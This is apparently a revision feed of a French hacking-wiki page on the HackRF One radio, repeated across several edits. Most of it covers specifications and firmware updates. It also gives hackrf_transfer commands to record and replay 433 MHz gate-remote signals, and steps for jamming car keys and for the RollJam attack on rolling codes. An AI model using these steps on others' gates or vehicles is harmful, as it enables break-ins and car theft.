*&amp;lt;b&amp;gt;-f :&amp;lt;/b&amp;gt; Fréquence exacte enregistrée ou diffusée en Hz&lt;br /&gt;
*&amp;lt;b&amp;gt;-r :&amp;lt;/b&amp;gt; Nom du fichier à l'enregistrement &lt;br /&gt;
*&amp;lt;b&amp;gt;-t :&amp;lt;/b&amp;gt; Nom du fichier à la lecture&lt;br /&gt;
*&amp;lt;b&amp;gt;-a :&amp;lt;/b&amp;gt; Amplification&lt;br /&gt;
*&amp;lt;b&amp;gt;-x :&amp;lt;/b&amp;gt; Gain entre 0 et 47 dB (en Décibel)&lt;br /&gt;
*&amp;lt;b&amp;gt;-h :&amp;lt;/b&amp;gt; Pour le menu complet des options.&lt;br /&gt;
&lt;br /&gt;
=== Talkie-walkie ===&lt;br /&gt;
Il s'agit exactement du même procédé vu ci-dessus pour les portail.&lt;br /&gt;
&lt;br /&gt;
== Car Key Replay Attack ==&lt;br /&gt;
Pour ne pas que les voitures soit vulnérables à une attaque simple de &amp;lt;b&amp;gt;Replay Attack&amp;lt;/b&amp;gt;, les constructeur ont équipé les nouvelles voitures d'un système de code roulant (&amp;lt;b&amp;gt;rolling code system&amp;lt;/b&amp;gt;) chaque fois que vous appuyez sur le bouton de déverrouillage, la télécommande utilise un algorithme pour générer un nouveau code ce qui rend donc les ancien siganux inutilisables, un simple &amp;lt;b&amp;gt;Replay Attack&amp;lt;/b&amp;gt; comme celui présenté ci-dessus n'est donc pas impossible.&lt;br /&gt;
&lt;br /&gt;
=== Étude du signal avec URH ===&lt;br /&gt;
[https://github.com/jopohl/urh URH]&lt;br /&gt;
&lt;br /&gt;
== Radio Jamming ==&lt;br /&gt;
Le jamming est une technique de brouillage visant à perturber les fréquences comportant des informations, en les submergeant avec du bruit. C'est &amp;lt;b&amp;gt;le rapport signal sur bruit&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Jamming Car Key ===&lt;br /&gt;
En émettant du bruit sur la fréquence utilisé par une clé de voiture, le signal se retrouvera ainsi perdu et ne pourra ainsi pas être reconnu.&lt;br /&gt;
&lt;br /&gt;
=== RollJam Attack ===&lt;br /&gt;
Méthodologie de l’attaque :&lt;br /&gt;
*Un brouillage radio est lancé sur la fréquence 433.92 qui est la fréquence de déverrouillage de notre voiture.&lt;br /&gt;
*La victime tente de déverrouiller une première fois la voiture en appuyant sur la clef, et donc en émettant un signal.&lt;br /&gt;
*Le signal est capturé et enregistré.&lt;br /&gt;
*La victime tente donc une deuxième fois de déverrouiller la voiture, toujours sans réussite.&lt;br /&gt;
*Le brouillage s’arrête et le premier signal est lancé ce qui déverrouille la voiture.&lt;br /&gt;
&lt;br /&gt;
Le 2eme signal (&amp;lt;b&amp;gt;Rolling Code&amp;lt;/b&amp;gt;) émis par la victime est enregistré. Comme la voiture a reçu uniquement le premier signal, le rolling code du second signal est donc valide, l'attaquant pourra donc déverrouiller la voiture par la suite.&lt;br /&gt;
&lt;br /&gt;
=== Jamming Wifi ===&lt;br /&gt;
&lt;br /&gt;
== Portapack ==&lt;br /&gt;
&lt;br /&gt;
== SSTV ==&lt;br /&gt;
&lt;br /&gt;
== Tempest SDR ==&lt;br /&gt;
&lt;br /&gt;
== GPS Spoofing ==&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
*https://greatscottgadgets.com/hackrf/one/&lt;br /&gt;
*https://hackrf.readthedocs.io/en/latest/index.html&lt;br /&gt;
*https://github.com/PierreAdams/HackRF-One-French&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Tools:HackRF_One&amp;diff=93529</id>
		<title>Tools:HackRF One</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Tools:HackRF_One&amp;diff=93529"/>
		<updated>2023-12-02T11:01:29Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* GPS Spoofing */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== HackRF One ==&lt;br /&gt;
Le HackRF One de Great Scott Gadgets est une radio définie par logiciel capable d'émettre ou de recevoir des signaux radio de 1 MHz à 6 GHz.&lt;br /&gt;
 &lt;br /&gt;
Conçu pour permettre le test et le développement de technologies radio modernes et de nouvelle génération, HackRF One est un matériel open source qui peut être utilisée en tant que périphérique USB ou programmée pour un fonctionnement autonome. &lt;br /&gt;
&lt;br /&gt;
*Fréquence de fonctionnement de 1 MHz à 6 GHz&lt;br /&gt;
*Émetteur-récepteur semi-duplex&lt;br /&gt;
*Jusqu'à 20 millions d'échantillons par seconde&lt;br /&gt;
*Échantillons en quadrature de 8 bits (8 bits I et 8 bits Q)&lt;br /&gt;
*Compatible avec GNU Radio, SDR#, etc.&lt;br /&gt;
*Gain RX et TX et filtre en bande de base configurables par logiciel&lt;br /&gt;
*Alimentation du port d'antenne contrôlée par logiciel (50 mA à 3,3 V)&lt;br /&gt;
*Connecteur d'antenne SMA femelle&lt;br /&gt;
*Entrée et sortie d'horloge SMA femelle pour la synchronisation&lt;br /&gt;
*Boutons pratiques pour la programmation&lt;br /&gt;
*En-têtes de broches internes pour l'expansion&lt;br /&gt;
*USB 2.0 haut débit&lt;br /&gt;
*alimenté par USB&lt;br /&gt;
&lt;br /&gt;
=== Commandes ===&lt;br /&gt;
&amp;lt;b&amp;gt;Hackrf_info :&amp;lt;/b&amp;gt; informations de version&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Hackrf_transfer :&amp;lt;/b&amp;gt; capturer, transmettre&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_debug :&amp;lt;/b&amp;gt; commande de debug du hackRF One&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_sweep :&amp;lt;/b&amp;gt; balayer un champ de fréquences et l'analyser&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_spiflash :&amp;lt;/b&amp;gt; mettre à jour le firmware&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_cpldjtag :&amp;lt;/b&amp;gt; mettre à jour le cpld&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
 $ apt install hackrf&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du micrologiciel ===&lt;br /&gt;
Les appareils HackRF sont livrés avec un micrologiciel sur la mémoire flash SPI. Le micrologiciel peut être mis à jour à l'aide d'un câble USB et d'un ordinateur hôte.&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du SPI Flash Firmware ===&lt;br /&gt;
 $ hackrf_spiflash -w hackrf_one_usb.bin&lt;br /&gt;
&lt;br /&gt;
Vous pouvez trouver le binaire du firmware (hackrf_one_usb.bin) dans le répertoire firmware-bin de [https://github.com/mossmann/hackrf/releases/latest la dernière version] ou vous pouvez compiler le vôtre à partir [https://github.com/mossmann/hackrf/tree/master/firmware des sources]. Pour Jawbreaker, utilisez hackrf_jawbreaker_usb.bin. Si vous compilez à partir des sources, le fichier s'appellera hackrf_usb.bin.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Lorsque vous écrivez une image de micrologiciel sur la mémoire flash SPI, veillez à sélectionner un micrologiciel dont le nom de fichier se termine par &amp;quot;.bin&amp;quot;.&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après avoir écrit le micrologiciel sur la mémoire flash SPI, vous devrez peut-être réinitialiser le dispositif HackRF en appuyant sur le bouton RESET ou en le débranchant et en le rebranchant.&lt;br /&gt;
&lt;br /&gt;
Si vous obtenez une erreur mentionnant HACKRF_ERROR_NOT_FOUND, il s'agit souvent d'un problème de permissions dans votre système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier si la mise à jour a été correctement installée:&lt;br /&gt;
 $ hackrf_info&lt;br /&gt;
 hackrf_info version: unknown&lt;br /&gt;
 libhackrf version: unknown (0.5)&lt;br /&gt;
 Found HackRF&lt;br /&gt;
 Index: 0&lt;br /&gt;
 Serial number: 000000000000000057b068dc22451163&lt;br /&gt;
 Board ID Number: 2 (HackRF One)&lt;br /&gt;
 Firmware Version: 2018.01.1 (API:1.02)&lt;br /&gt;
 Part ID Number: 0xa000cb3c 0x00724357&lt;br /&gt;
&lt;br /&gt;
=== Si nécessaire seulement: Récupération du SPI Flash Firmware ===&lt;br /&gt;
Si le firmware installé dans la mémoire flash SPI a été endommagé ou si vous programmez un HackRF fait maison pour la première fois, vous ne pourrez pas utiliser immédiatement le programme &amp;lt;b&amp;gt;hackrf_spiflash&amp;lt;/b&amp;gt; comme indiqué dans la procédure ci-dessus. Suivez plutôt les étapes suivantes :&lt;br /&gt;
*Suivez les &amp;lt;b&amp;gt;instructions de démarrage DFU&amp;lt;/b&amp;gt; pour démarrer le HackRF en mode de démarrage DFU.&lt;br /&gt;
*Tapez &amp;lt;b&amp;gt;dfu-util --device 1fc9:000c --alt 0 --download hackrf_one_usb.dfu&amp;lt;/b&amp;gt; pour charger le micrologiciel d'une version dans la RAM. Si vous avez un &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt;, utilisez &amp;lt;b&amp;gt;hackrf_jawbreaker_usb.dfu&amp;lt;/b&amp;gt; à la place. Alternativement, utilisez &amp;lt;b&amp;gt;make -e BOARD=HACKRF_ONE RUN_FROM=RAM&amp;lt;/b&amp;gt; pour charger le firmware en RAM et le démarrer.&lt;br /&gt;
*&amp;lt;b&amp;gt;Suivez la procédure de mise à jour du micrologiciel SPI flash&amp;lt;/b&amp;gt; ci-dessus pour écrire l'image du micrologiciel &amp;quot;.bin&amp;quot; dans la mémoire flash SPI.&lt;br /&gt;
&lt;br /&gt;
=== Si nécessaire seulement: DFU Boot ===&lt;br /&gt;
Le mode de démarrage DFU n'est normalement nécessaire que si le micrologiciel ne fonctionne pas correctement ou n'a jamais été installé.&lt;br /&gt;
&lt;br /&gt;
Le microcontrôleur LPC4330 du HackRF est capable de démarrer à partir de plusieurs sources de code différentes. Par défaut, HackRF démarre à partir de la mémoire flash SPI (SPIFI). Il est également possible de démarrer HackRF en mode DFU (USB). En mode de démarrage DFU, le HackRF procède à une énumération via USB, attend que le code soit fourni à l'aide de la norme DFU (Device Firmware Update) via USB, puis exécute ce code à partir de la RAM. Le SPIFI est normalement inutilisé et non modifié en mode DFU.&lt;br /&gt;
&lt;br /&gt;
Pour démarrer le HackRF One en mode DFU, maintenez le bouton DFU enfoncé tout en l'allumant ou en appuyant sur le bouton RESET et en le relâchant. Relâchez le bouton DFU lorsque le voyant 3V3 s'allume. Le voyant 1V8 doit rester éteint. À ce stade, le HackRF One est prêt à recevoir le micrologiciel par USB.&lt;br /&gt;
&lt;br /&gt;
Pour démarrer le Jawbreaker en mode DFU, court-circuitez deux broches sur l'une des en-têtes &amp;quot;BOOT&amp;quot; lorsque l'alimentation est fournie pour la première fois. Les broches qui doivent être court-circuitées sont les broches 1 et 2 de l'en-tête P32 du Jawbreaker. L'en-tête P32 est étiqueté &amp;quot;P2_8&amp;quot; sur la plupart des Jawbreaker mais peut être étiqueté &amp;quot;2&amp;quot; sur les prototypes. La broche 1 est étiquetée &amp;quot;VCC&amp;quot;. La broche 2 est la broche centrale. Après le démarrage DFU, vous devriez voir la LED VCC s'allumer et noter que la LED 1V8 ne s'allume pas. À ce stade, le Jawbreaker est prêt à recevoir un micrologiciel par USB.&lt;br /&gt;
&lt;br /&gt;
Vous ne devez utiliser qu'une image de micrologiciel dont le nom de fichier se termine par &amp;quot;.dfu&amp;quot; par DFU, et non un micrologiciel se terminant par &amp;quot;.bin&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
=== Installer DFU-Util ===&lt;br /&gt;
 $ apt install dfu-util&lt;br /&gt;
&lt;br /&gt;
Depuis les [http://dfu-util.sourceforge.net/build.html sources]:&lt;br /&gt;
 $ cd ~&lt;br /&gt;
 $ sudo apt-get build-dep dfu-util&lt;br /&gt;
 $ sudo apt-get install libusb-1.0-0-dev&lt;br /&gt;
 $ git clone git://git.code.sf.net/p/dfu-util/dfu-util&lt;br /&gt;
 $ cd dfu-util&lt;br /&gt;
 $ ./autogen.sh&lt;br /&gt;
 $ ./configure&lt;br /&gt;
 $ make&lt;br /&gt;
 $ sudo make install&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du CPLD ===&lt;br /&gt;
Les anciennes versions du firmware du HackRF (prior to release 2021.03.1) nécessitent une étape supplémentaire pour programmer un flux binaire dans le CPLD.&lt;br /&gt;
&lt;br /&gt;
Pour mettre à jour l'image du CPLD, mettez d'abord à jour le microprogramme flash SPI, libhackrf et hackrf-tools.&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
 $ hackrf_cpldjtag -x firmware/cpld/sgpio_if/default.xsvf&lt;br /&gt;
&lt;br /&gt;
Trois LEDs devraient commencer à clignoter. Cela indique que le CPLD a été programmé avec succès.&lt;br /&gt;
Réinitialisez le dispositif en appuyant sur le bouton RESET ou en le débranchant et en le rebranchant.&lt;br /&gt;
&lt;br /&gt;
== Replay Attaque ==&lt;br /&gt;
=== Portail ===&lt;br /&gt;
Nous devons déterminer sur quelle fréquence la télécommande va communiquer (autours des 433Mhz).&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;b&amp;gt;GQRX&amp;lt;/b&amp;gt;, nous allons pouvoir vérifier et ajuster notre fréquence d'écoute. Lorsque nous activons la télécommande, nous devons observer une variation du signal sur la fréquence écoutée.&lt;br /&gt;
&lt;br /&gt;
==== Enregistrement ====&lt;br /&gt;
 $ hackrf_transfer -s 2 -f 433000000 -r file&lt;br /&gt;
&lt;br /&gt;
==== Émission ====&lt;br /&gt;
 $ hackrf_transfer -s 2 -f 433000000 -t file -a 1 -x 24&lt;br /&gt;
&lt;br /&gt;
==== Options ====&lt;br /&gt;
*&amp;lt;b&amp;gt;-s :&amp;lt;/b&amp;gt; Taux d'echantillons en MHz&lt;br /&gt;
*&amp;lt;b&amp;gt;-f :&amp;lt;/b&amp;gt; Fréquence exacte enregistrée ou diffusée en Hz&lt;br /&gt;
*&amp;lt;b&amp;gt;-r :&amp;lt;/b&amp;gt; Nom du fichier à l'enregistrement &lt;br /&gt;
*&amp;lt;b&amp;gt;-t :&amp;lt;/b&amp;gt; Nom du fichier à la lecture&lt;br /&gt;
*&amp;lt;b&amp;gt;-a :&amp;lt;/b&amp;gt; Amplification&lt;br /&gt;
*&amp;lt;b&amp;gt;-x :&amp;lt;/b&amp;gt; Gain entre 0 et 47 dB (en Décibel)&lt;br /&gt;
*&amp;lt;b&amp;gt;-h :&amp;lt;/b&amp;gt; Pour le menu complet des options.&lt;br /&gt;
&lt;br /&gt;
=== Talkie-walkie ===&lt;br /&gt;
Il s'agit exactement du même procédé vu ci-dessus pour les portail.&lt;br /&gt;
&lt;br /&gt;
== Car Key Replay Attack ==&lt;br /&gt;
Pour ne pas que les voitures soit vulnérables à une attaque simple de &amp;lt;b&amp;gt;Replay Attack&amp;lt;/b&amp;gt;, les constructeur ont équipé les nouvelles voitures d'un système de code roulant (&amp;lt;b&amp;gt;rolling code system&amp;lt;/b&amp;gt;) chaque fois que vous appuyez sur le bouton de déverrouillage, la télécommande utilise un algorithme pour générer un nouveau code ce qui rend donc les ancien siganux inutilisables, un simple &amp;lt;b&amp;gt;Replay Attack&amp;lt;/b&amp;gt; comme celui présenté ci-dessus n'est donc pas impossible.&lt;br /&gt;
&lt;br /&gt;
=== Étude du signal avec URH ===&lt;br /&gt;
[https://github.com/jopohl/urh URH]&lt;br /&gt;
&lt;br /&gt;
== Radio Jamming ==&lt;br /&gt;
Le jamming est une technique de brouillage visant à perturber les fréquences comportant des informations, en les submergeant avec du bruit. C'est &amp;lt;b&amp;gt;le rapport signal sur bruit&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Jamming Car Key ===&lt;br /&gt;
En émettant du bruit sur la fréquence utilisé par une clé de voiture, le signal se retrouvera ainsi perdu et ne pourra ainsi pas être reconnu.&lt;br /&gt;
&lt;br /&gt;
=== RollJam Attack ===&lt;br /&gt;
Méthodologie de l’attaque :&lt;br /&gt;
*Un brouillage radio est lancé sur la fréquence 433.92 qui est la fréquence de déverrouillage de notre voiture.&lt;br /&gt;
*La victime tente de déverrouiller une première fois la voiture en appuyant sur la clef, et donc en émettant un signal.&lt;br /&gt;
*Le signal est capturé et enregistré.&lt;br /&gt;
*La victime tente donc une deuxième fois de déverrouiller la voiture, toujours sans réussite.&lt;br /&gt;
*Le brouillage s’arrête et le premier signal est lancé ce qui déverrouille la voiture.&lt;br /&gt;
&lt;br /&gt;
Le 2eme signal (&amp;lt;b&amp;gt;Rolling Code&amp;lt;/b&amp;gt;) émis par la victime est enregistré. Comme la voiture a reçu uniquement le premier signal, le rolling code du second signal est donc valide, l'attaquant pourra donc déverrouiller la voiture par la suite.&lt;br /&gt;
&lt;br /&gt;
=== Jamming Wifi ===&lt;br /&gt;
&lt;br /&gt;
== Portapack ==&lt;br /&gt;
&lt;br /&gt;
== SSTV ==&lt;br /&gt;
&lt;br /&gt;
== Tempest SDR ==&lt;br /&gt;
&lt;br /&gt;
== GPS Spoofing ==&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
*https://greatscottgadgets.com/hackrf/one/&lt;br /&gt;
*https://hackrf.readthedocs.io/en/latest/index.html&lt;br /&gt;
*https://github.com/PierreAdams/HackRF-One-French&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Tools:HackRF_One&amp;diff=93528</id>
		<title>Tools:HackRF One</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Tools:HackRF_One&amp;diff=93528"/>
		<updated>2023-12-02T10:59:21Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* Radio Jamming */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== HackRF One ==&lt;br /&gt;
Le HackRF One de Great Scott Gadgets est une radio définie par logiciel capable d'émettre ou de recevoir des signaux radio de 1 MHz à 6 GHz.&lt;br /&gt;
 &lt;br /&gt;
Conçu pour permettre le test et le développement de technologies radio modernes et de nouvelle génération, HackRF One est un matériel open source qui peut être utilisée en tant que périphérique USB ou programmée pour un fonctionnement autonome. &lt;br /&gt;
&lt;br /&gt;
*Fréquence de fonctionnement de 1 MHz à 6 GHz&lt;br /&gt;
*Émetteur-récepteur semi-duplex&lt;br /&gt;
*Jusqu'à 20 millions d'échantillons par seconde&lt;br /&gt;
*Échantillons en quadrature de 8 bits (8 bits I et 8 bits Q)&lt;br /&gt;
*Compatible avec GNU Radio, SDR#, etc.&lt;br /&gt;
*Gain RX et TX et filtre en bande de base configurables par logiciel&lt;br /&gt;
*Alimentation du port d'antenne contrôlée par logiciel (50 mA à 3,3 V)&lt;br /&gt;
*Connecteur d'antenne SMA femelle&lt;br /&gt;
*Entrée et sortie d'horloge SMA femelle pour la synchronisation&lt;br /&gt;
*Boutons pratiques pour la programmation&lt;br /&gt;
*En-têtes de broches internes pour l'expansion&lt;br /&gt;
*USB 2.0 haut débit&lt;br /&gt;
*alimenté par USB&lt;br /&gt;
&lt;br /&gt;
=== Commandes ===&lt;br /&gt;
&amp;lt;b&amp;gt;Hackrf_info :&amp;lt;/b&amp;gt; informations de version&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Hackrf_transfer :&amp;lt;/b&amp;gt; capturer, transmettre&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_debug :&amp;lt;/b&amp;gt; commande de debug du hackRF One&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_sweep :&amp;lt;/b&amp;gt; balayer un champ de fréquences et l'analyser&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_spiflash :&amp;lt;/b&amp;gt; mettre à jour le firmware&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_cpldjtag :&amp;lt;/b&amp;gt; mettre à jour le cpld&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
 $ apt install hackrf&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du micrologiciel ===&lt;br /&gt;
Les appareils HackRF sont livrés avec un micrologiciel sur la mémoire flash SPI. Le micrologiciel peut être mis à jour à l'aide d'un câble USB et d'un ordinateur hôte.&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du SPI Flash Firmware ===&lt;br /&gt;
 $ hackrf_spiflash -w hackrf_one_usb.bin&lt;br /&gt;
&lt;br /&gt;
Vous pouvez trouver le binaire du firmware (hackrf_one_usb.bin) dans le répertoire firmware-bin de [https://github.com/mossmann/hackrf/releases/latest la dernière version] ou vous pouvez compiler le vôtre à partir [https://github.com/mossmann/hackrf/tree/master/firmware des sources]. Pour Jawbreaker, utilisez hackrf_jawbreaker_usb.bin. Si vous compilez à partir des sources, le fichier s'appellera hackrf_usb.bin.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Lorsque vous écrivez une image de micrologiciel sur la mémoire flash SPI, veillez à sélectionner un micrologiciel dont le nom de fichier se termine par &amp;quot;.bin&amp;quot;.&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après avoir écrit le micrologiciel sur la mémoire flash SPI, vous devrez peut-être réinitialiser le dispositif HackRF en appuyant sur le bouton RESET ou en le débranchant et en le rebranchant.&lt;br /&gt;
&lt;br /&gt;
Si vous obtenez une erreur mentionnant HACKRF_ERROR_NOT_FOUND, il s'agit souvent d'un problème de permissions dans votre système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier si la mise à jour a été correctement installée:&lt;br /&gt;
 $ hackrf_info&lt;br /&gt;
 hackrf_info version: unknown&lt;br /&gt;
 libhackrf version: unknown (0.5)&lt;br /&gt;
 Found HackRF&lt;br /&gt;
 Index: 0&lt;br /&gt;
 Serial number: 000000000000000057b068dc22451163&lt;br /&gt;
 Board ID Number: 2 (HackRF One)&lt;br /&gt;
 Firmware Version: 2018.01.1 (API:1.02)&lt;br /&gt;
 Part ID Number: 0xa000cb3c 0x00724357&lt;br /&gt;
&lt;br /&gt;
=== Si nécessaire seulement: Récupération du SPI Flash Firmware ===&lt;br /&gt;
Si le firmware installé dans la mémoire flash SPI a été endommagé ou si vous programmez un HackRF fait maison pour la première fois, vous ne pourrez pas utiliser immédiatement le programme &amp;lt;b&amp;gt;hackrf_spiflash&amp;lt;/b&amp;gt; comme indiqué dans la procédure ci-dessus. Suivez plutôt les étapes suivantes :&lt;br /&gt;
*Suivez les &amp;lt;b&amp;gt;instructions de démarrage DFU&amp;lt;/b&amp;gt; pour démarrer le HackRF en mode de démarrage DFU.&lt;br /&gt;
*Tapez &amp;lt;b&amp;gt;dfu-util --device 1fc9:000c --alt 0 --download hackrf_one_usb.dfu&amp;lt;/b&amp;gt; pour charger le micrologiciel d'une version dans la RAM. Si vous avez un &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt;, utilisez &amp;lt;b&amp;gt;hackrf_jawbreaker_usb.dfu&amp;lt;/b&amp;gt; à la place. Alternativement, utilisez &amp;lt;b&amp;gt;make -e BOARD=HACKRF_ONE RUN_FROM=RAM&amp;lt;/b&amp;gt; pour charger le firmware en RAM et le démarrer.&lt;br /&gt;
*&amp;lt;b&amp;gt;Suivez la procédure de mise à jour du micrologiciel SPI flash&amp;lt;/b&amp;gt; ci-dessus pour écrire l'image du micrologiciel &amp;quot;.bin&amp;quot; dans la mémoire flash SPI.&lt;br /&gt;
&lt;br /&gt;
=== Si nécessaire seulement: DFU Boot ===&lt;br /&gt;
Le mode de démarrage DFU n'est normalement nécessaire que si le micrologiciel ne fonctionne pas correctement ou n'a jamais été installé.&lt;br /&gt;
&lt;br /&gt;
Le microcontrôleur LPC4330 du HackRF est capable de démarrer à partir de plusieurs sources de code différentes. Par défaut, HackRF démarre à partir de la mémoire flash SPI (SPIFI). Il est également possible de démarrer HackRF en mode DFU (USB). En mode de démarrage DFU, le HackRF procède à une énumération via USB, attend que le code soit fourni à l'aide de la norme DFU (Device Firmware Update) via USB, puis exécute ce code à partir de la RAM. Le SPIFI est normalement inutilisé et non modifié en mode DFU.&lt;br /&gt;
&lt;br /&gt;
Pour démarrer le HackRF One en mode DFU, maintenez le bouton DFU enfoncé tout en l'allumant ou en appuyant sur le bouton RESET et en le relâchant. Relâchez le bouton DFU lorsque le voyant 3V3 s'allume. Le voyant 1V8 doit rester éteint. À ce stade, le HackRF One est prêt à recevoir le micrologiciel par USB.&lt;br /&gt;
&lt;br /&gt;
Pour démarrer le Jawbreaker en mode DFU, court-circuitez deux broches sur l'une des en-têtes &amp;quot;BOOT&amp;quot; lorsque l'alimentation est fournie pour la première fois. Les broches qui doivent être court-circuitées sont les broches 1 et 2 de l'en-tête P32 du Jawbreaker. L'en-tête P32 est étiqueté &amp;quot;P2_8&amp;quot; sur la plupart des Jawbreaker mais peut être étiqueté &amp;quot;2&amp;quot; sur les prototypes. La broche 1 est étiquetée &amp;quot;VCC&amp;quot;. La broche 2 est la broche centrale. Après le démarrage DFU, vous devriez voir la LED VCC s'allumer et noter que la LED 1V8 ne s'allume pas. À ce stade, le Jawbreaker est prêt à recevoir un micrologiciel par USB.&lt;br /&gt;
&lt;br /&gt;
Vous ne devez utiliser qu'une image de micrologiciel dont le nom de fichier se termine par &amp;quot;.dfu&amp;quot; par DFU, et non un micrologiciel se terminant par &amp;quot;.bin&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
=== Installer DFU-Util ===&lt;br /&gt;
 $ apt install dfu-util&lt;br /&gt;
&lt;br /&gt;
Depuis les [http://dfu-util.sourceforge.net/build.html sources]:&lt;br /&gt;
 $ cd ~&lt;br /&gt;
 $ sudo apt-get build-dep dfu-util&lt;br /&gt;
 $ sudo apt-get install libusb-1.0-0-dev&lt;br /&gt;
 $ git clone git://git.code.sf.net/p/dfu-util/dfu-util&lt;br /&gt;
 $ cd dfu-util&lt;br /&gt;
 $ ./autogen.sh&lt;br /&gt;
 $ ./configure&lt;br /&gt;
 $ make&lt;br /&gt;
 $ sudo make install&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du CPLD ===&lt;br /&gt;
Les anciennes versions du firmware du HackRF (prior to release 2021.03.1) nécessitent une étape supplémentaire pour programmer un flux binaire dans le CPLD.&lt;br /&gt;
&lt;br /&gt;
Pour mettre à jour l'image du CPLD, mettez d'abord à jour le microprogramme flash SPI, libhackrf et hackrf-tools.&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
 $ hackrf_cpldjtag -x firmware/cpld/sgpio_if/default.xsvf&lt;br /&gt;
&lt;br /&gt;
Trois LEDs devraient commencer à clignoter. Cela indique que le CPLD a été programmé avec succès.&lt;br /&gt;
Réinitialisez le dispositif en appuyant sur le bouton RESET ou en le débranchant et en le rebranchant.&lt;br /&gt;
&lt;br /&gt;
== Replay Attaque ==&lt;br /&gt;
=== Portail ===&lt;br /&gt;
Nous devons déterminer sur quelle fréquence la télécommande va communiquer (autours des 433Mhz).&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;b&amp;gt;GQRX&amp;lt;/b&amp;gt;, nous allons pouvoir vérifier et ajuster notre fréquence d'écoute. Lorsque nous activons la télécommande, nous devons observer une variation du signal sur la fréquence écoutée.&lt;br /&gt;
&lt;br /&gt;
==== Enregistrement ====&lt;br /&gt;
 $ hackrf_transfer -s 2 -f 433000000 -r file&lt;br /&gt;
&lt;br /&gt;
==== Émission ====&lt;br /&gt;
 $ hackrf_transfer -s 2 -f 433000000 -t file -a 1 -x 24&lt;br /&gt;
&lt;br /&gt;
==== Options ====&lt;br /&gt;
*&amp;lt;b&amp;gt;-s :&amp;lt;/b&amp;gt; Taux d'echantillons en MHz&lt;br /&gt;
*&amp;lt;b&amp;gt;-f :&amp;lt;/b&amp;gt; Fréquence exacte enregistrée ou diffusée en Hz&lt;br /&gt;
*&amp;lt;b&amp;gt;-r :&amp;lt;/b&amp;gt; Nom du fichier à l'enregistrement &lt;br /&gt;
*&amp;lt;b&amp;gt;-t :&amp;lt;/b&amp;gt; Nom du fichier à la lecture&lt;br /&gt;
*&amp;lt;b&amp;gt;-a :&amp;lt;/b&amp;gt; Amplification&lt;br /&gt;
*&amp;lt;b&amp;gt;-x :&amp;lt;/b&amp;gt; Gain entre 0 et 47 dB (en Décibel)&lt;br /&gt;
*&amp;lt;b&amp;gt;-h :&amp;lt;/b&amp;gt; Pour le menu complet des options.&lt;br /&gt;
&lt;br /&gt;
=== Talkie-walkie ===&lt;br /&gt;
Il s'agit exactement du même procédé vu ci-dessus pour les portail.&lt;br /&gt;
&lt;br /&gt;
== Car Key Replay Attack ==&lt;br /&gt;
Pour ne pas que les voitures soit vulnérables à une attaque simple de &amp;lt;b&amp;gt;Replay Attack&amp;lt;/b&amp;gt;, les constructeur ont équipé les nouvelles voitures d'un système de code roulant (&amp;lt;b&amp;gt;rolling code system&amp;lt;/b&amp;gt;) chaque fois que vous appuyez sur le bouton de déverrouillage, la télécommande utilise un algorithme pour générer un nouveau code ce qui rend donc les ancien siganux inutilisables, un simple &amp;lt;b&amp;gt;Replay Attack&amp;lt;/b&amp;gt; comme celui présenté ci-dessus n'est donc pas impossible.&lt;br /&gt;
&lt;br /&gt;
=== Étude du signal avec URH ===&lt;br /&gt;
[https://github.com/jopohl/urh URH]&lt;br /&gt;
&lt;br /&gt;
== Radio Jamming ==&lt;br /&gt;
